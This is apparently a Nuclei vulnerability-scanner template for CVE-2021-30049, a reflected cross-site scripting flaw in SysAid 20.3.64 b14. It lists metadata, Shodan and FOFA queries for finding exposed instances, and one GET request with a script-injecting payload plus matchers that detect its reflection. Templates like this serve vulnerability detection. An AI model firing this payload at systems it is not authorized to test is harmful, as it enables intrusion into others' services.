53 lines
1.9 KiB
YAML
53 lines
1.9 KiB
YAML
id: CVE-2021-30049
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info:
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name: SysAid Technologies 20.3.64 b14 - Cross-Site Scripting
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author: daffainfo
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severity: medium
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description: SysAid 20.3.64 b14 contains a cross-site scripting vulnerability via the /KeepAlive.jsp?stamp= URI.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Apply the latest patch or upgrade to a non-vulnerable version of SysAid Technologies 20.3.64 b14 to mitigate the XSS vulnerability.
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reference:
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- https://eh337.net/2021/03/30/sysaid/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-30049
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- https://github.com/ARPSyndicate/cvemon
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-30049
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cwe-id: CWE-79
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epss-score: 0.00113
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epss-percentile: 0.44743
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cpe: cpe:2.3:a:sysaid:sysaid:20.3.64:b14:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: sysaid
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product: sysaid
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shodan-query: http.favicon.hash:1540720428
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fofa-query: icon_hash=1540720428
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tags: cve2021,cve,xss,sysaid
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http:
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- method: GET
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path:
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- '{{BaseURL}}/KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "</script><script>alert(document.domain)</script>"
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100fae3277c120a798340c690a3e344e0e799fcf9eca7379e63aab9ddc63b78e23a0220205797d5db4b76f6088eddc5f08297cc388aed88676a39dbf9145660d7dfc034:922c64590222798bb761d5b6d8e72950 |